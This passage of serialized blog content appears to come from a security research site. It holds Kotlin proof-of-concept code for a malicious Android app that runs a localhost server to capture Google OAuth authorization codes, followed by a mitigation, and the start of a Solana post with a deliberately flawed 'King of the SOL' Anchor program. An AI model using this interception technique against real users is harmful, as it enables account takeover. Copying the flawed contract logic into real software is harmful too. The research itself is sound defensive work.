",{"type":23,"tag":41,"props":70417,"children":70418},{"style":94},[70419],{"type":28,"value":70420},"AppCompatActivity",{"type":23,"tag":41,"props":70422,"children":70423},{"style":70},[70424],{"type":28,"value":1134},{"type":23,"tag":41,"props":70426,"children":70427},{"class":43,"line":54},[70428],{"type":23,"tag":41,"props":70429,"children":70430},{"emptyLinePlaceholder":18},[70431],{"type":28,"value":82},{"type":23,"tag":41,"props":70433,"children":70434},{"class":43,"line":76},[70435,70440,70444,70449,70454,70459],{"type":23,"tag":41,"props":70436,"children":70437},{"style":64},[70438],{"type":28,"value":70439},"    override",{"type":23,"tag":41,"props":70441,"children":70442},{"style":64},[70443],{"type":28,"value":6205},{"type":23,"tag":41,"props":70445,"children":70446},{"style":114},[70447],{"type":28,"value":70448}," onCreate",{"type":23,"tag":41,"props":70450,"children":70451},{"style":70},[70452],{"type":28,"value":70453},"(savedInstanceState: ",{"type":23,"tag":41,"props":70455,"children":70456},{"style":94},[70457],{"type":28,"value":70458},"Bundle",{"type":23,"tag":41,"props":70460,"children":70461},{"style":70},[70462],{"type":28,"value":70463},"?) {\n",{"type":23,"tag":41,"props":70465,"children":70466},{"class":43,"line":85},[70467,70472,70476,70481],{"type":23,"tag":41,"props":70468,"children":70469},{"style":64},[70470],{"type":28,"value":70471},"        super",{"type":23,"tag":41,"props":70473,"children":70474},{"style":70},[70475],{"type":28,"value":706},{"type":23,"tag":41,"props":70477,"children":70478},{"style":114},[70479],{"type":28,"value":70480},"onCreate",{"type":23,"tag":41,"props":70482,"children":70483},{"style":70},[70484],{"type":28,"value":70485},"(savedInstanceState)\n",{"type":23,"tag":41,"props":70487,"children":70488},{"class":43,"line":105},[70489],{"type":23,"tag":41,"props":70490,"children":70491},{"emptyLinePlaceholder":18},[70492],{"type":28,"value":82},{"type":23,"tag":41,"props":70494,"children":70495},{"class":43,"line":155},[70496],{"type":23,"tag":41,"props":70497,"children":70498},{"style":48},[70499],{"type":28,"value":70500},"        // Start the Ktor web server\n",{"type":23,"tag":41,"props":70502,"children":70503},{"class":43,"line":186},[70504,70509,70514,70519],{"type":23,"tag":41,"props":70505,"children":70506},{"style":114},[70507],{"type":28,"value":70508},"        CoroutineScope",{"type":23,"tag":41,"props":70510,"children":70511},{"style":70},[70512],{"type":28,"value":70513},"(Dispatchers.IO).",{"type":23,"tag":41,"props":70515,"children":70516},{"style":114},[70517],{"type":28,"value":70518},"launch",{"type":23,"tag":41,"props":70520,"children":70521},{"style":70},[70522],{"type":28,"value":102},{"type":23,"tag":41,"props":70524,"children":70525},{"class":43,"line":195},[70526,70531],{"type":23,"tag":41,"props":70527,"children":70528},{"style":58},[70529],{"type":28,"value":70530},"            try",{"type":23,"tag":41,"props":70532,"children":70533},{"style":70},[70534],{"type":28,"value":102},{"type":23,"tag":41,"props":70536,"children":70537},{"class":43,"line":905},[70538,70543],{"type":23,"tag":41,"props":70539,"children":70540},{"style":114},[70541],{"type":28,"value":70542},"                startWebServer",{"type":23,"tag":41,"props":70544,"children":70545},{"style":70},[70546],{"type":28,"value":7735},{"type":23,"tag":41,"props":70548,"children":70549},{"class":43,"line":922},[70550,70555,70560,70564,70569,70573,70578],{"type":23,"tag":41,"props":70551,"children":70552},{"style":70},[70553],{"type":28,"value":70554},"                Log.",{"type":23,"tag":41,"props":70556,"children":70557},{"style":114},[70558],{"type":28,"value":70559},"d",{"type":23,"tag":41,"props":70561,"children":70562},{"style":70},[70563],{"type":28,"value":1737},{"type":23,"tag":41,"props":70565,"children":70566},{"style":735},[70567],{"type":28,"value":70568},"\"WebServer\"",{"type":23,"tag":41,"props":70570,"children":70571},{"style":70},[70572],{"type":28,"value":970},{"type":23,"tag":41,"props":70574,"children":70575},{"style":735},[70576],{"type":28,"value":70577},"\"Server started on http://localhost:3000\"",{"type":23,"tag":41,"props":70579,"children":70580},{"style":70},[70581],{"type":28,"value":1969},{"type":23,"tag":41,"props":70583,"children":70584},{"class":43,"line":930},[70585,70590,70594,70599,70604],{"type":23,"tag":41,"props":70586,"children":70587},{"style":70},[70588],{"type":28,"value":70589},"            } ",{"type":23,"tag":41,"props":70591,"children":70592},{"style":64},[70593],{"type":28,"value":48405},{"type":23,"tag":41,"props":70595,"children":70596},{"style":70},[70597],{"type":28,"value":70598}," (e: ",{"type":23,"tag":41,"props":70600,"children":70601},{"style":94},[70602],{"type":28,"value":70603},"Exception",{"type":23,"tag":41,"props":70605,"children":70606},{"style":70},[70607],{"type":28,"value":152},{"type":23,"tag":41,"props":70609,"children":70610},{"class":43,"line":939},[70611,70615,70619,70623,70627,70631,70636,70640,70645,70649,70653],{"type":23,"tag":41,"props":70612,"children":70613},{"style":70},[70614],{"type":28,"value":70554},{"type":23,"tag":41,"props":70616,"children":70617},{"style":114},[70618],{"type":28,"value":51449},{"type":23,"tag":41,"props":70620,"children":70621},{"style":70},[70622],{"type":28,"value":1737},{"type":23,"tag":41,"props":70624,"children":70625},{"style":735},[70626],{"type":28,"value":70568},{"type":23,"tag":41,"props":70628,"children":70629},{"style":70},[70630],{"type":28,"value":970},{"type":23,"tag":41,"props":70632,"children":70633},{"style":735},[70634],{"type":28,"value":70635},"\"Error starting server: ",{"type":23,"tag":41,"props":70637,"children":70638},{"style":64},[70639],{"type":28,"value":34102},{"type":23,"tag":41,"props":70641,"children":70642},{"style":170},[70643],{"type":28,"value":70644},"e.message",{"type":23,"tag":41,"props":70646,"children":70647},{"style":64},[70648],{"type":28,"value":34134},{"type":23,"tag":41,"props":70650,"children":70651},{"style":735},[70652],{"type":28,"value":20048},{"type":23,"tag":41,"props":70654,"children":70655},{"style":70},[70656],{"type":28,"value":70657},", e)\n",{"type":23,"tag":41,"props":70659,"children":70660},{"class":43,"line":947},[70661],{"type":23,"tag":41,"props":70662,"children":70663},{"style":70},[70664],{"type":28,"value":58881},{"type":23,"tag":41,"props":70666,"children":70667},{"class":43,"line":985},[70668],{"type":23,"tag":41,"props":70669,"children":70670},{"style":70},[70671],{"type":28,"value":3347},{"type":23,"tag":41,"props":70673,"children":70674},{"class":43,"line":1058},[70675],{"type":23,"tag":41,"props":70676,"children":70677},{"emptyLinePlaceholder":18},[70678],{"type":28,"value":82},{"type":23,"tag":41,"props":70680,"children":70681},{"class":43,"line":1084},[70682],{"type":23,"tag":41,"props":70683,"children":70684},{"style":48},[70685],{"type":28,"value":70686},"        // Open the Google OAuth page\n",{"type":23,"tag":41,"props":70688,"children":70689},{"class":43,"line":1102},[70690,70695,70700,70704],{"type":23,"tag":41,"props":70691,"children":70692},{"style":64},[70693],{"type":28,"value":70694},"        val",{"type":23,"tag":41,"props":70696,"children":70697},{"style":70},[70698],{"type":28,"value":70699}," googleOAuthUrl ",{"type":23,"tag":41,"props":70701,"children":70702},{"style":170},[70703],{"type":28,"value":2381},{"type":23,"tag":41,"props":70705,"children":70706},{"style":735},[70707],{"type":28,"value":70708}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":41,"props":70710,"children":70711},{"class":43,"line":1110},[70712,70716,70721,70725,70730,70735,70739],{"type":23,"tag":41,"props":70713,"children":70714},{"style":64},[70715],{"type":28,"value":70694},{"type":23,"tag":41,"props":70717,"children":70718},{"style":70},[70719],{"type":28,"value":70720}," browserIntent ",{"type":23,"tag":41,"props":70722,"children":70723},{"style":170},[70724],{"type":28,"value":2381},{"type":23,"tag":41,"props":70726,"children":70727},{"style":114},[70728],{"type":28,"value":70729}," Intent",{"type":23,"tag":41,"props":70731,"children":70732},{"style":70},[70733],{"type":28,"value":70734},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":41,"props":70736,"children":70737},{"style":114},[70738],{"type":28,"value":39204},{"type":23,"tag":41,"props":70740,"children":70741},{"style":70},[70742],{"type":28,"value":70743},"(googleOAuthUrl))\n",{"type":23,"tag":41,"props":70745,"children":70746},{"class":43,"line":1118},[70747,70752],{"type":23,"tag":41,"props":70748,"children":70749},{"style":114},[70750],{"type":28,"value":70751},"        startActivity",{"type":23,"tag":41,"props":70753,"children":70754},{"style":70},[70755],{"type":28,"value":70756},"(browserIntent)\n",{"type":23,"tag":41,"props":70758,"children":70759},{"class":43,"line":1137},[70760],{"type":23,"tag":41,"props":70761,"children":70762},{"style":70},[70763],{"type":28,"value":192},{"type":23,"tag":41,"props":70765,"children":70766},{"class":43,"line":1163},[70767],{"type":23,"tag":41,"props":70768,"children":70769},{"emptyLinePlaceholder":18},[70770],{"type":28,"value":82},{"type":23,"tag":41,"props":70772,"children":70773},{"class":43,"line":1188},[70774,70779,70783,70788],{"type":23,"tag":41,"props":70775,"children":70776},{"style":64},[70777],{"type":28,"value":70778},"    private",{"type":23,"tag":41,"props":70780,"children":70781},{"style":64},[70782],{"type":28,"value":6205},{"type":23,"tag":41,"props":70784,"children":70785},{"style":114},[70786],{"type":28,"value":70787}," startWebServer",{"type":23,"tag":41,"props":70789,"children":70790},{"style":70},[70791],{"type":28,"value":1134},{"type":23,"tag":41,"props":70793,"children":70794},{"class":43,"line":1979},[70795,70800,70805,70809,70814],{"type":23,"tag":41,"props":70796,"children":70797},{"style":114},[70798],{"type":28,"value":70799},"        embeddedServer",{"type":23,"tag":41,"props":70801,"children":70802},{"style":70},[70803],{"type":28,"value":70804},"(CIO, port ",{"type":23,"tag":41,"props":70806,"children":70807},{"style":170},[70808],{"type":28,"value":2381},{"type":23,"tag":41,"props":70810,"children":70811},{"style":164},[70812],{"type":28,"value":70813}," 3000",{"type":23,"tag":41,"props":70815,"children":70816},{"style":70},[70817],{"type":28,"value":152},{"type":23,"tag":41,"props":70819,"children":70820},{"class":43,"line":2002},[70821,70826],{"type":23,"tag":41,"props":70822,"children":70823},{"style":114},[70824],{"type":28,"value":70825},"            routing",{"type":23,"tag":41,"props":70827,"children":70828},{"style":70},[70829],{"type":28,"value":102},{"type":23,"tag":41,"props":70831,"children":70832},{"class":43,"line":3835},[70833,70838,70842,70847],{"type":23,"tag":41,"props":70834,"children":70835},{"style":64},[70836],{"type":28,"value":70837},"                get",{"type":23,"tag":41,"props":70839,"children":70840},{"style":70},[70841],{"type":28,"value":1737},{"type":23,"tag":41,"props":70843,"children":70844},{"style":735},[70845],{"type":28,"value":70846},"\"{...}\"",{"type":23,"tag":41,"props":70848,"children":70849},{"style":70},[70850],{"type":28,"value":152},{"type":23,"tag":41,"props":70852,"children":70853},{"class":43,"line":3895},[70854,70859,70864],{"type":23,"tag":41,"props":70855,"children":70856},{"style":70},[70857],{"type":28,"value":70858},"                    call.",{"type":23,"tag":41,"props":70860,"children":70861},{"style":114},[70862],{"type":28,"value":70863},"respondHtml",{"type":23,"tag":41,"props":70865,"children":70866},{"style":70},[70867],{"type":28,"value":102},{"type":23,"tag":41,"props":70869,"children":70870},{"class":43,"line":9044},[70871,70876],{"type":23,"tag":41,"props":70872,"children":70873},{"style":114},[70874],{"type":28,"value":70875},"                        head",{"type":23,"tag":41,"props":70877,"children":70878},{"style":70},[70879],{"type":28,"value":102},{"type":23,"tag":41,"props":70881,"children":70882},{"class":43,"line":9061},[70883,70888,70893,70897,70902],{"type":23,"tag":41,"props":70884,"children":70885},{"style":114},[70886],{"type":28,"value":70887},"                            meta",{"type":23,"tag":41,"props":70889,"children":70890},{"style":70},[70891],{"type":28,"value":70892},"(charset ",{"type":23,"tag":41,"props":70894,"children":70895},{"style":170},[70896],{"type":28,"value":2381},{"type":23,"tag":41,"props":70898,"children":70899},{"style":735},[70900],{"type":28,"value":70901}," \"UTF-8\"",{"type":23,"tag":41,"props":70903,"children":70904},{"style":70},[70905],{"type":28,"value":1969},{"type":23,"tag":41,"props":70907,"children":70908},{"class":43,"line":9106},[70909,70913,70918,70922,70927,70932,70936,70941],{"type":23,"tag":41,"props":70910,"children":70911},{"style":114},[70912],{"type":28,"value":70887},{"type":23,"tag":41,"props":70914,"children":70915},{"style":70},[70916],{"type":28,"value":70917},"(name ",{"type":23,"tag":41,"props":70919,"children":70920},{"style":170},[70921],{"type":28,"value":2381},{"type":23,"tag":41,"props":70923,"children":70924},{"style":735},[70925],{"type":28,"value":70926}," \"viewport\"",{"type":23,"tag":41,"props":70928,"children":70929},{"style":70},[70930],{"type":28,"value":70931},", content ",{"type":23,"tag":41,"props":70933,"children":70934},{"style":170},[70935],{"type":28,"value":2381},{"type":23,"tag":41,"props":70937,"children":70938},{"style":735},[70939],{"type":28,"value":70940}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":41,"props":70942,"children":70943},{"style":70},[70944],{"type":28,"value":1969},{"type":23,"tag":41,"props":70946,"children":70947},{"class":43,"line":9212},[70948,70953,70957,70962],{"type":23,"tag":41,"props":70949,"children":70950},{"style":114},[70951],{"type":28,"value":70952},"                            title",{"type":23,"tag":41,"props":70954,"children":70955},{"style":70},[70956],{"type":28,"value":1737},{"type":23,"tag":41,"props":70958,"children":70959},{"style":735},[70960],{"type":28,"value":70961},"\"OAuth Redirect\"",{"type":23,"tag":41,"props":70963,"children":70964},{"style":70},[70965],{"type":28,"value":1969},{"type":23,"tag":41,"props":70967,"children":70968},{"class":43,"line":23496},[70969],{"type":23,"tag":41,"props":70970,"children":70971},{"style":70},[70972],{"type":28,"value":70973},"                        }\n",{"type":23,"tag":41,"props":70975,"children":70976},{"class":43,"line":23531},[70977,70982],{"type":23,"tag":41,"props":70978,"children":70979},{"style":114},[70980],{"type":28,"value":70981},"                        body",{"type":23,"tag":41,"props":70983,"children":70984},{"style":70},[70985],{"type":28,"value":102},{"type":23,"tag":41,"props":70987,"children":70988},{"class":43,"line":23539},[70989,70994,70998,71002,71007],{"type":23,"tag":41,"props":70990,"children":70991},{"style":114},[70992],{"type":28,"value":70993},"                            h1",{"type":23,"tag":41,"props":70995,"children":70996},{"style":70},[70997],{"type":28,"value":9584},{"type":23,"tag":41,"props":70999,"children":71000},{"style":170},[71001],{"type":28,"value":4383},{"type":23,"tag":41,"props":71003,"children":71004},{"style":735},[71005],{"type":28,"value":71006},"\"Google OAuth Redirect\"",{"type":23,"tag":41,"props":71008,"children":71009},{"style":70},[71010],{"type":28,"value":9594},{"type":23,"tag":41,"props":71012,"children":71013},{"class":43,"line":23547},[71014,71019],{"type":23,"tag":41,"props":71015,"children":71016},{"style":114},[71017],{"type":28,"value":71018},"                            script",{"type":23,"tag":41,"props":71020,"children":71021},{"style":70},[71022],{"type":28,"value":102},{"type":23,"tag":41,"props":71024,"children":71025},{"class":43,"line":23556},[71026,71031],{"type":23,"tag":41,"props":71027,"children":71028},{"style":170},[71029],{"type":28,"value":71030},"                                +",{"type":23,"tag":41,"props":71032,"children":71033},{"style":735},[71034],{"type":28,"value":71035},"\"document.body.innerText = location.search;\"\n",{"type":23,"tag":41,"props":71037,"children":71038},{"class":43,"line":23598},[71039],{"type":23,"tag":41,"props":71040,"children":71041},{"style":70},[71042],{"type":28,"value":71043},"                            }\n",{"type":23,"tag":41,"props":71045,"children":71046},{"class":43,"line":23631},[71047],{"type":23,"tag":41,"props":71048,"children":71049},{"style":70},[71050],{"type":28,"value":70973},{"type":23,"tag":41,"props":71052,"children":71053},{"class":43,"line":23639},[71054],{"type":23,"tag":41,"props":71055,"children":71056},{"style":70},[71057],{"type":28,"value":71058},"                    }\n",{"type":23,"tag":41,"props":71060,"children":71061},{"class":43,"line":23647},[71062],{"type":23,"tag":41,"props":71063,"children":71064},{"style":70},[71065],{"type":28,"value":71066},"                }\n",{"type":23,"tag":41,"props":71068,"children":71069},{"class":43,"line":23656},[71070],{"type":23,"tag":41,"props":71071,"children":71072},{"style":70},[71073],{"type":28,"value":58881},{"type":23,"tag":41,"props":71075,"children":71076},{"class":43,"line":23732},[71077,71082,71087,71092,71096,71100],{"type":23,"tag":41,"props":71078,"children":71079},{"style":70},[71080],{"type":28,"value":71081},"        }.",{"type":23,"tag":41,"props":71083,"children":71084},{"style":114},[71085],{"type":28,"value":71086},"start",{"type":23,"tag":41,"props":71088,"children":71089},{"style":70},[71090],{"type":28,"value":71091},"(wait ",{"type":23,"tag":41,"props":71093,"children":71094},{"style":170},[71095],{"type":28,"value":2381},{"type":23,"tag":41,"props":71097,"children":71098},{"style":64},[71099],{"type":28,"value":915},{"type":23,"tag":41,"props":71101,"children":71102},{"style":70},[71103],{"type":28,"value":1969},{"type":23,"tag":41,"props":71105,"children":71106},{"class":43,"line":23765},[71107],{"type":23,"tag":41,"props":71108,"children":71109},{"style":70},[71110],{"type":28,"value":192},{"type":23,"tag":41,"props":71112,"children":71113},{"class":43,"line":23773},[71114],{"type":23,"tag":41,"props":71115,"children":71116},{"style":70},[71117],{"type":28,"value":201},{"type":23,"tag":24,"props":71119,"children":71120},{},[71121],{"type":28,"value":71122},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":23,"tag":24,"props":71124,"children":71125},{},[71126],{"type":28,"value":71127},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":23,"tag":546,"props":71129,"children":71131},{"id":71130},"mitigation-1",[71132],{"type":28,"value":40328},{"type":23,"tag":24,"props":71134,"children":71135},{},[71136,71138,71143],{"type":28,"value":71137},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":23,"tag":37,"props":71139,"children":71141},{"className":71140},[],[71142],{"type":28,"value":69761},{"type":28,"value":71144}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":23,"tag":446,"props":71146,"children":71147},{"id":2811},[71148],{"type":28,"value":2814},{"type":23,"tag":24,"props":71150,"children":71151},{},[71152],{"type":28,"value":71153},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":23,"tag":24,"props":71155,"children":71156},{},[71157],{"type":28,"value":71158},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":23,"tag":2843,"props":71160,"children":71161},{},[71162],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":71164},[71165,71172,71177,71180],{"id":69529,"depth":54,"text":69532,"children":71166},[71167,71168,71169,71170,71171],{"id":69540,"depth":76,"text":69543},{"id":69567,"depth":76,"text":69570},{"id":69628,"depth":76,"text":69631},{"id":69685,"depth":76,"text":69688},{"id":69784,"depth":76,"text":69787},{"id":69830,"depth":54,"text":69833,"children":71173},[71174,71175,71176],{"id":69836,"depth":76,"text":69839},{"id":69863,"depth":76,"text":69866},{"id":40325,"depth":76,"text":40328},{"id":70312,"depth":54,"text":70315,"children":71178},[71179],{"id":71130,"depth":76,"text":40328},{"id":2811,"depth":54,"text":2814},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":71185,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":71186,"description":71187,"author":40442,"image":71188,"date":71190,"isFeatured":18,"tags":71191,"onBlogPage":18,"body":71192,"_type":2864,"_id":75845,"_source":2866,"_file":75846,"_stem":75847,"_extension":2869},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":71189,"height":13,"width":13},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[2881],{"type":20,"children":71193,"toc":75834},[71194,71198,71203,71217,71223,71228,71258,71263,71268,72306,72311,72319,72324,72330,72336,72348,72381,72393,72406,72418,72863,72868,72914,72920,72925,73012,73017,73031,73044,73706,73711,73723,73729,73740,73752,73906,73920,73939,73960,73966,73971,74316,74321,74327,74346,74360,74982,74987,75007,75012,75017,75023,75035,75056,75231,75237,75242,75543,75564,75576,75588,75672,75692,75704,75710,75722,75728,75733,75756,75768,75774,75786,75791,75797,75802,75807,75825,75830],{"type":23,"tag":446,"props":71195,"children":71196},{"id":29014},[71197],{"type":28,"value":29017},{"type":23,"tag":24,"props":71199,"children":71200},{},[71201],{"type":28,"value":71202},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":23,"tag":24,"props":71204,"children":71205},{},[71206,71208,71215],{"type":28,"value":71207},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":23,"tag":458,"props":71209,"children":71212},{"href":71210,"rel":71211},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[462],[71213],{"type":28,"value":71214},"King of the Ether",{"type":28,"value":71216},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":23,"tag":446,"props":71218,"children":71220},{"id":71219},"the-game-king-of-the-sol",[71221],{"type":28,"value":71222},"The Game: King of the SOL",{"type":23,"tag":24,"props":71224,"children":71225},{},[71226],{"type":28,"value":71227},"The game works like this:",{"type":23,"tag":417,"props":71229,"children":71230},{},[71231,71243,71248,71253],{"type":23,"tag":421,"props":71232,"children":71233},{},[71234,71236,71241],{"type":28,"value":71235},"Anyone can become the ",{"type":23,"tag":510,"props":71237,"children":71238},{},[71239],{"type":28,"value":71240},"king",{"type":28,"value":71242}," by bidding at least 2× the previous bid.",{"type":23,"tag":421,"props":71244,"children":71245},{},[71246],{"type":28,"value":71247},"The old king is reimbursed 95% of their bid.",{"type":23,"tag":421,"props":71249,"children":71250},{},[71251],{"type":28,"value":71252},"The remaining 5% goes into a prize pot.",{"type":23,"tag":421,"props":71254,"children":71255},{},[71256],{"type":28,"value":71257},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":23,"tag":24,"props":71259,"children":71260},{},[71261],{"type":28,"value":71262},"Simple, right?",{"type":23,"tag":24,"props":71264,"children":71265},{},[71266],{"type":28,"value":71267},"This is the core logic:",{"type":23,"tag":31,"props":71269,"children":71271},{"className":2982,"code":71270,"language":2981,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[71272],{"type":23,"tag":37,"props":71273,"children":71274},{"__ignoreMap":7},[71275,71290,71318,71333,71374,71381,71389,71440,71471,71478,71486,71501,71533,71540,71555,71586,71593,71600,71608,71625,71699,71707,71768,71780,71808,71848,71860,71876,71883,71891,71965,71977,72016,72044,72056,72071,72078,72086,72156,72200,72274,72281,72292,72299],{"type":23,"tag":41,"props":71276,"children":71277},{"class":43,"line":44},[71278,71282,71286],{"type":23,"tag":41,"props":71279,"children":71280},{"style":70},[71281],{"type":28,"value":22824},{"type":23,"tag":41,"props":71283,"children":71284},{"style":94},[71285],{"type":28,"value":22829},{"type":23,"tag":41,"props":71287,"children":71288},{"style":70},[71289],{"type":28,"value":20247},{"type":23,"tag":41,"props":71291,"children":71292},{"class":43,"line":54},[71293,71297,71301,71306,71310,71314],{"type":23,"tag":41,"props":71294,"children":71295},{"style":64},[71296],{"type":28,"value":13685},{"type":23,"tag":41,"props":71298,"children":71299},{"style":64},[71300],{"type":28,"value":21138},{"type":23,"tag":41,"props":71302,"children":71303},{"style":94},[71304],{"type":28,"value":71305}," ChangeKing",{"type":23,"tag":41,"props":71307,"children":71308},{"style":70},[71309],{"type":28,"value":22909},{"type":23,"tag":41,"props":71311,"children":71312},{"style":94},[71313],{"type":28,"value":22914},{"type":23,"tag":41,"props":71315,"children":71316},{"style":70},[71317],{"type":28,"value":7280},{"type":23,"tag":41,"props":71319,"children":71320},{"class":43,"line":76},[71321,71325,71329],{"type":23,"tag":41,"props":71322,"children":71323},{"style":70},[71324],{"type":28,"value":23116},{"type":23,"tag":41,"props":71326,"children":71327},{"style":64},[71328],{"type":28,"value":3723},{"type":23,"tag":41,"props":71330,"children":71331},{"style":70},[71332],{"type":28,"value":20247},{"type":23,"tag":41,"props":71334,"children":71335},{"class":43,"line":85},[71336,71340,71345,71349,71353,71357,71361,71365,71370],{"type":23,"tag":41,"props":71337,"children":71338},{"style":64},[71339],{"type":28,"value":20830},{"type":23,"tag":41,"props":71341,"children":71342},{"style":858},[71343],{"type":28,"value":71344}," throne",{"type":23,"tag":41,"props":71346,"children":71347},{"style":170},[71348],{"type":28,"value":1474},{"type":23,"tag":41,"props":71350,"children":71351},{"style":94},[71352],{"type":28,"value":23081},{"type":23,"tag":41,"props":71354,"children":71355},{"style":70},[71356],{"type":28,"value":22909},{"type":23,"tag":41,"props":71358,"children":71359},{"style":94},[71360],{"type":28,"value":22914},{"type":23,"tag":41,"props":71362,"children":71363},{"style":70},[71364],{"type":28,"value":970},{"type":23,"tag":41,"props":71366,"children":71367},{"style":94},[71368],{"type":28,"value":71369},"Throne",{"type":23,"tag":41,"props":71371,"children":71372},{"style":70},[71373],{"type":28,"value":6136},{"type":23,"tag":41,"props":71375,"children":71376},{"class":43,"line":105},[71377],{"type":23,"tag":41,"props":71378,"children":71379},{"emptyLinePlaceholder":18},[71380],{"type":28,"value":82},{"type":23,"tag":41,"props":71382,"children":71383},{"class":43,"line":155},[71384],{"type":23,"tag":41,"props":71385,"children":71386},{"style":48},[71387],{"type":28,"value":71388},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":23,"tag":41,"props":71390,"children":71391},{"class":43,"line":186},[71392,71396,71400,71405,71409,71414,71418,71423,71427,71431,71435],{"type":23,"tag":41,"props":71393,"children":71394},{"style":70},[71395],{"type":28,"value":23116},{"type":23,"tag":41,"props":71397,"children":71398},{"style":64},[71399],{"type":28,"value":3723},{"type":23,"tag":41,"props":71401,"children":71402},{"style":70},[71403],{"type":28,"value":71404},", constraint ",{"type":23,"tag":41,"props":71406,"children":71407},{"style":170},[71408],{"type":28,"value":2381},{"type":23,"tag":41,"props":71410,"children":71411},{"style":70},[71412],{"type":28,"value":71413}," old_king",{"type":23,"tag":41,"props":71415,"children":71416},{"style":170},[71417],{"type":28,"value":706},{"type":23,"tag":41,"props":71419,"children":71420},{"style":70},[71421],{"type":28,"value":71422},"key() ",{"type":23,"tag":41,"props":71424,"children":71425},{"style":170},[71426],{"type":28,"value":387},{"type":23,"tag":41,"props":71428,"children":71429},{"style":70},[71430],{"type":28,"value":71344},{"type":23,"tag":41,"props":71432,"children":71433},{"style":170},[71434],{"type":28,"value":706},{"type":23,"tag":41,"props":71436,"children":71437},{"style":70},[71438],{"type":28,"value":71439},"king)]\n",{"type":23,"tag":41,"props":71441,"children":71442},{"class":43,"line":195},[71443,71447,71451,71455,71459,71463,71467],{"type":23,"tag":41,"props":71444,"children":71445},{"style":64},[71446],{"type":28,"value":20830},{"type":23,"tag":41,"props":71448,"children":71449},{"style":858},[71450],{"type":28,"value":71413},{"type":23,"tag":41,"props":71452,"children":71453},{"style":170},[71454],{"type":28,"value":1474},{"type":23,"tag":41,"props":71456,"children":71457},{"style":94},[71458],{"type":28,"value":25397},{"type":23,"tag":41,"props":71460,"children":71461},{"style":70},[71462],{"type":28,"value":22909},{"type":23,"tag":41,"props":71464,"children":71465},{"style":94},[71466],{"type":28,"value":22914},{"type":23,"tag":41,"props":71468,"children":71469},{"style":70},[71470],{"type":28,"value":6136},{"type":23,"tag":41,"props":71472,"children":71473},{"class":43,"line":905},[71474],{"type":23,"tag":41,"props":71475,"children":71476},{"emptyLinePlaceholder":18},[71477],{"type":28,"value":82},{"type":23,"tag":41,"props":71479,"children":71480},{"class":43,"line":922},[71481],{"type":23,"tag":41,"props":71482,"children":71483},{"style":48},[71484],{"type":28,"value":71485},"    /// CHECK: any writable account is allowed as a new 